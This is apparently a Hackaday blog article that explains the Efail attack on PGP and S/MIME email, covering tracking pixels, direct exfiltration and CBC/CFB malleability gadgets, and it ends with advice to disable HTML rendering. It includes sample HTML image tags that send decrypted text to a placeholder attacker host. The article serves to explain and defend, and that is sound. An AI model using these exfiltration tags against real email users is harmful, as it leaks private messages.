Last week the PGPocalipse was all over the news… Except that, well, it wasn’t an apocalypse.

A team of researchers published a paper(PDF) where they describe how to decrypt a PGP encrypted email via a targeted attack. The research itself is pretty well documented and, from a security researcher perspective, it’s a good paper to read, especially the cryptography parts.

But we here at Hackaday were skeptical about media claims that Efail had broken PGP. Some media reports went as far as recommending everyone turn off PGP encryption on all email clients., but they weren’t able to back this recommendation up with firm reasoning. In fact, Efail isn’t an immediate threat for the vast majority of people simply because an attacker must already have access to an encrypted email to use the exploit. Advising everyone to disable encryption all together just makes no sense.

Aside from the massive false alarm, Efail is a very interesting exploit to wrap your head around. Join me after the break as I walk through how it works, and what you can do to avoid it.

Efail Does Not  Directly Exploit PGP

In a nutshell, if an attacker is able to get access to a user’s encrypted email, they can modify the message in a specific way and send it back to the user. The user’s email client will the decrypt the message and (if the email client is rendering HTML tags) automatically send the decrypted message back to the attacker.

The encryption itself it is not broken in any way. It’s how the messages are processed by the user’s email client that introduces the vulnerability. Saying PGP is broken is just plain wrong — but we suppose it generates a lot of clicks.

The ability to exfiltrate data from within an email is an old subject. When email clients started adding the ability to render HTML, a lot of security issues were introduced. In the past, some email clients even treated email content just like a webpage going as far as rendering Javascript. What could possibly go wrong?…

Story Time: Tracking Pixels

One common technique used by the ads industry to track users on websites works in HTML emails also: the tracking pixel. The tracking pixel is a kind of web beacon in the form of a tiny image that is included inside a webpage or an email that results in the software client making a request to another server. With these requests it is usually possible for the server to identify the IP address of the requesting computer, the time the content was requested, the type of web browser that made the request, and the existence of cookies previously set by that server. In an email, it is also possible to know if the user has forward the email to another user, since each email sent by the ad company with the tracking pixel has an unique code to each user.

Implementing a tracking pixel is just as easy as adding an image tag to an HTML email. Lets say an email has the following tag within:

<img src="http://attacker.domain.xyz/image-12345678.png" height="1" width="1">

When the email client tries to render the HTML, it tries to load the file ‘/image-12345678.png’ from the webserver located at attacker.domain.xyz in order to display it. The attacker controlled webserver logs this request. If you ever looked at a webserver log file this will look familiar:

11.22.33.44 - - [17/May/2018:00:25:18 +0100] "GET /image-12345678.png HTTP/1.1" 200 702 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"

In the above log entry, the webserver (Apache in this case) log the IP address 11.22.33.44 used by the browser that made the request and the file that was requested image-12345678.png. In this simplified case, the unique ID would be the 12345678 part. There is also information about the browser itself and other information like cookies can be stored, although not shown by default in the log entry. A simplistic tracking pixel is basically a custom file name with a unique ID.

Efail Builds On the Concepts of Tracking Pixels

Efail uses this kind of remote loading of images as the backchannel to exfiltrate the decrypted email. Other methods should also be possible. Efail takes advantage of the email client first has to decrypt an encrypted message in order to show it and then it renders the HTML code in the message.

The Efail paper describes two main methods of exfiltration of decrypted data, a direct exfiltration method and a generic exfiltration method using what the authors called malleability gadgets. I’ll try to explain both without digging too much into the dirty details such as encodings, content-types and so on.

Direct Exfiltration

Suppose an attacker has access to the encrypted email message: “This is a secret message”.  They do not know what the content is, since it is encrypted it would look like something similar to this: TmV2ZXIgZ29ubmEgZ2l2ZSB5b3UgdXAKTmV2ZXIgZ29ubmEgbGV0IHlvdSBkb3duCg==. The attacker grabs this scrambled data and produces the following email:

Hi this is Jennifer, check out my latest picture: <img src="http://attacker.domain.xyz/TmV2ZXIgZ29ubmEgZ2l2ZSB5b3UgdXAKTmV2ZXIgZ29ubmEgbGV0IHlvdSBkb3duCg==">

We know the attacker controlled server would receive the file name and details about the client from the request when it tries to load the image from the server. But what the Efail team has found is that, when the email client detects an encrypted block, it decrypts the data before it renders the HTML. So when the email client shows this email, it will immediately decrypt the encoded block. Effectively the HTML code before rendering will now look like this:

Hi this is Jennifer, check out my latest picture: <img src="http://attacker.domain.xyz/This is a secret message">

When the email client starts to finally render the email, it will try to load the image located at /This is a secret message from the attacker controlled webserver, which will receive the decrypted data as the file name.

Voilá, Efail. An attacker can easily create a simple script that will return image data on a request, so that the user will actually see an image on the client side and the attacker will see the decrypted information.

Malleability Gadgets

We’ve seen how simple it is to implement a direct exfiltration channel in order to decrypt email. In some email clients, that technique does not work, so the Efail paper describes a more generic way to introduce the exfiltration channel inside the actually encrypted data itself.

Generally speaking, it should not be possible to alter encrypted data without messing it up. The previous email example is overly simplified. Email messages are almost all encoded using the MIME standard before being sent. The researchers show how it is possible to introduce the malleability gadgets in S/MIME (a standard for public key encryption and signing of MIME data) and OpenPGP (different encoding than S/MIME but similar features) encrypted emails by taking advantage of some peculiarities of the block cipher mode of operation used in both, CBC and CFB.

In simple terms, when a message is encrypted using these modes of operation, if an attacker has previous knowledge of a single block of plaintext before encryption, it is possible for them to change that single block of data to a valid encrypted text of their choosing. Since S/MIME and OpenPGP encoded messages usually start with the same plaintext after decryption, this gives an attacker a foothold to introduce a malleability gadget. For example, when emails are encoded with S/MIME (signed then encrypted) the email will typically start with: ‘Content-type: multipart/signed’. After this email is encrypted, the attacker knows that the first bytes of the ciphertext is that string, so the attacker knows this block of plaintext and corresponding ciphertext of the victim’s email, which is what is needed to introduce the malleability gadget.

The attacker can change this initial header to a valid ciphertext of their liking, which would be something along the lines of <img src="http://attacker.domain.com/ which is similar to the direct exfiltration method. The cool part is that the email client will receive a completely encrypted message, making it harder to detect the attack. It is only  after decryption and before rendering that the attack will be evident.

There are several challenges for this to actually work in practice. Reading the paper is recommended if you are into cryptography.

Conclusion

The above examples are simplified and would not work out of the box, but try to explain the overall mechanism of the Efail vulnerabilities found. My hopes is that the reader realizes two things: that the encryption of emails is still generically safe and that rendering HTML in emails is still not a good idea.

To protect yourself against this vulnerability, and a lot of others, disable HTML rendering in your email client. Many email clients allow for this and/or have settings to disable the loading of remote content. This might be enough to stop Efail, at least attacks that would use img tags as the backchannel. If you use PGP and your email client does not support these settings, consider changing to a safer client.

My main advice is go ahead and disable HTML rendering now, even if you don’t use PGP. At least that way there will be a lot fewer companies tracking you.